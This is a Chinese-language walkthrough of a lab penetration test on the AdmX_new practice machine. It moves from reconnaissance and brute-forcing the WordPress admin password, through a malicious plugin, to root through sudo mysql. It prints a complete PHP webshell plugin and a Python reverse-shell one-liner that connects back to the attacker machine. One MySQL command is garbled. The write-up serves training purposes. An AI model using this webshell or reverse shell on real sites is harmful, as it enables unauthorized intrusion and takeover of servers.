AdmX_new 靶机渗透测试实战报告 —— 从 WordPress Getshell 到 Root 提权
实验环境
| 项目 | 详情 |
| 实验主机 | AdmX_new 靶机一台 / Kali Linux 攻击机一台 |
| 靶机 IP | 192.168.69.157 |
| 攻击机 IP | 192.168.69.133 |
| 实验网络 | NAT 模式 |
| 实验目标 | 获取靶机的 Root 权限 |
一、获取靶机的ip
使用arp-scan –l 扫描所有的ip与靶机的设置mac地址对比
攻击机192.168.69.133
靶机地址:192.168.69.157


二、信息收集与端口扫描
使用nmap 192.168.69.157 对靶机端口进行扫描,发现目标开放80端口

访问目标网页,发现其为apache默认界面

三、目录扫描
使用dirb进行目录扫描,发现tools,wordpress目录
dirb http://192.168.69.157/

访问 WordPress 页面时,发现页面内容加载不完整。
四、BurpSuite 抓包分析
使用 BurpSuite 对该页面进行抓包分析,发现响应数据中出现了一个内网 IP 地址:192.168.159.145。


尝试直接访问 192.168.159.145,发现该地址不可达
五、响应替换与页面修复
为了正常访问 WordPress 页面,需要在 BurpSuite 中配置响应替换规则:
1.打开 BurpSuite → Proxy → Proxy Settings
2.进入 Match and Replace 选项卡
3.分别添加 Response Header 和 Response Body 替换规则:
将 192.168.159.145 替换为靶机地址 192.168.69.157

配置完成后再次访问该页面,页面就能正常访问了

六、后台登录入口发现
对 WordPress 站点进行目录扫描,发现存在 admin 目录:
dirb http://192.168.69.157/wordpress/

访问后确认该页面为 WordPress 后台登录界面。

七、用户名枚举与密码爆破
使用常见用户名和密码尝试登录,发现系统仅提示"密码错误",由此确认 admin 用户存在。
使用 BurpSuite 对登录请求进行抓包,并通过 Intruder 模块进行密码爆破,最终成功获取密码

找出密码adam14

使用账号 admin / adam14 成功登录 WordPress 后台
八、插件上传 Getshell
8.1 编写恶意插件
创建 shell.php 文件,内容如下:
<?php
/**
* Plugin Name: Shell
* Plugin URI: https://x.github.io
* Description: WP Webshell for Pentest
* Version: 1.0
* Author: kalpa
* Author URI: https://x.github.io
* License: https://x.github.io
*/
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
将 shell.php 打包为 ZIP 压缩包:

8.2 上传并激活插件
在 WordPress 后台上传该插件压缩包,选择 WordPress.org Plugin 并点击 Activate 激活。
激活后,即可获取 Webshell 的访问路径。

选择插件WordPress.org Plugin并点击 activate
再次上传我们就会发现,脚本存在的位置

九、WebShell 验证
访问以下 URL 验证木马是否执行成功:
http://192.168.69.157/wordpress/wp-content/plugins/shell/shell.php?cmd=id
返回结果:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
确认木马执行成功,当前用户为 www-data。

十、反弹 Shell
10.1 环境检查
检查靶机是否安装 nc 和 python3:
which nc
which python3


10.2 建立反弹连接
在攻击机上监听 4444 端口:
nc -nvlp 4444
通过浏览器在 cmd 参数后输入以下 Python 反弹 Shell 命令:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.69.133",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'


成功获取靶机的交互式 Shell。
十一、权限提升
11.1 用户信息收集
查看未登录用户信息,发现存在用户 wpadmin,推测其密码与 WordPress 后台密码相同。

![]()
11.2 切换用户
尝试切换至 wpadmin 用户:
su wpadmin
adam14

登录成功。
进入用户家目录:
cd ~


11.3 Sudo 权限检查
sudo –l
查看当前用户是否拥有 sudo 权限,其中 mysql 命令在执行 sudo 时无需密码

11.4 利用 MySQL 提权
执行以下命令进入 MySQL:
sudo mysql -u root -D wordpress -pudo mysql -u root -D wordpress –p

在 MySQL 命令行中执行系统命令,获取 root 权限:
system /bin/bash –i

成功获取 root 权限。
十二、Flag 获取
进入 root 用户家目录,读取 proof.txt 文件:
cd ~
cat proof.txt
使用cat proof.txt拿到第二个flag:7efd721c8bfff2937c66235f2d0dbac1

总结
| 阶段 | 关键操作 |
| 信息收集 | Nmap 端口扫描、Dirb 目录扫描 |
| 漏洞发现 | WordPress 硬编码内网 IP、后台弱口令 |
| 初始访问 | 插件上传 Getshell |
| 权限提升 | 用户信息收集 → Sudo 滥用(MySQL)→ Root |
| 目标达成 | 获取 Flag |
更多推荐
所有评论(0)